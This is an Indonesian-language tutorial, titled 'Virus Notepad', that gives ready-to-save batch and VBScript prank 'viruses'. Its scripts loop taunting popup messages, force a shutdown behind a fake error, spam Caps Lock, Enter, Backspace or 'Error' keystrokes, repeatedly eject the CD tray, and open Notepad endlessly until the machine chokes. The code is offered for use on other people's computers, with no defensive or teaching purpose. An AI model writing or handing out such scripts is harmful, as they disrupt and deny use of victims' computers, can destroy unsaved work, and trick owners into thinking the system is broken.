Virus Notepad

-          Buka Notepad, lalu copykan script dibawah ini kedalam notepad tsb


1. Membuat message yang munculterusmenerus

@ECHO off
:Begin
msg * -WARNING-
msg * Sorry PC lo kaya'yngaco....
msg * Udah install ulangaja.....
msg * Biarmasalahnyakelar....
msg * Wkwkwkwkwkkkkkkkk....
GOTO BEGIN

save namafile( .BAT )



2. Membuat shutdown otomatis dilengkapi dengan pesan

@ECHO off
msg * -=WARNING=-
shutdown -s -c "Error !!!"

savenamafile ( .BAT )

Maenin Caps Lock...

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

save namafile ( .vbs )

3. Membuat CD/DVD Rom terbuka-tertutup

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count>= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

save namafile ( .vbs )

4. Membuat vbs Muncul terus

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

save namafile ( .vbs )


5. MembuatTombol Backspace menekan terus menerus

MsgBox "kembalike menu sebelumnya"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

save namafile ( .vbs )

6. Membuat otomatis mengetik error di Microsoft word/notepad/open office

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "Erorr!!!"
loop

save namafile ( .vbs )

7. Membuat notepad terbuka terus

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

save namafile ( .BAT )



8. Membuat notepad mengetik apa yang anda mau

WScript.Sleep 1800
WScript.Sleep 100
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 10
WshShell.AppActivate "Notepad"
WScript.Sleep 50
WshShell.SendKeys "E"
WScript.Sleep 50
WshShell.SendKeys "R"
WScript.Sleep 50
WshShell.SendKeys "O"
WScript.Sleep 50
WshShell.SendKeys "R "
WScript.Sleep 50
WshShell.SendKeys "R "
WScript.Sleep 50
WshShell.SendKeys "!"
WScript.Sleep 50
WshShell.SendKeys "!"
WScript.Sleep 50
WshShell.SendKeys "!"

savenamafile ( .vbs )